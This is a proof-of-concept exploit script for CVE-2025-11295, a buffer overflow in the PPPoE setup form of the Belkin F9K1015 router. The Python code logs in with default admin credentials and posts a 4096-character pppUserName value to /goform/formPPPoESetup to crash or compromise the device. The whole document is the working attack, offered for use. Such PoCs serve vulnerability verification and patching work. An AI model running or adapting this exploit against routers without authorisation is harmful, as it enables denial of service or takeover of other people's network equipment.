CVE-2025-11295

# CVE-2025-11295 PoC - Belkin F9K1015 Buffer Overflow # Vulnerability: Buffer overflow in pppUserName parameter at /goform/formPPPoESetup import requests import sys TARGET = "http://192.168.1.1" USERNAME = "admin" PASSWORD = "password" # Step 1: Authenticate to obtain session cookie session = requests.Session() login_url = f"{TARGET}/login.cgi" login_data = { "loginUsername": USERNAME, "loginPassword": PASSWORD } try: resp = session.post(login_url, data=login_data, timeout=10) print(f"[*] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") sys.exit(1) # Step 2: Craft buffer overflow payload # pppUserName parameter with excessive length to trigger buffer overflow overflow_payload = "A" * 4096 # Adjust length based on target buffer size # Step 3: Send malicious request to vulnerable endpoint exploit_url = f"{TARGET}/goform/formPPPoESetup" exploit_data = { "pppUserName": overflow_payload, "pppPassword": "test", "pppAction": "connect" } print(f"[*] Sending exploit payload to {exploit_url}") try: resp = session.post(exploit_url, data=exploit_data, timeout=10) print(f"[*] Response status: {resp.status_code}") print("[+] Exploit sent successfully") except Exception as e: print(f"[-] Exploit may have crashed the target: {e}") print("[+] Target device may be compromised")

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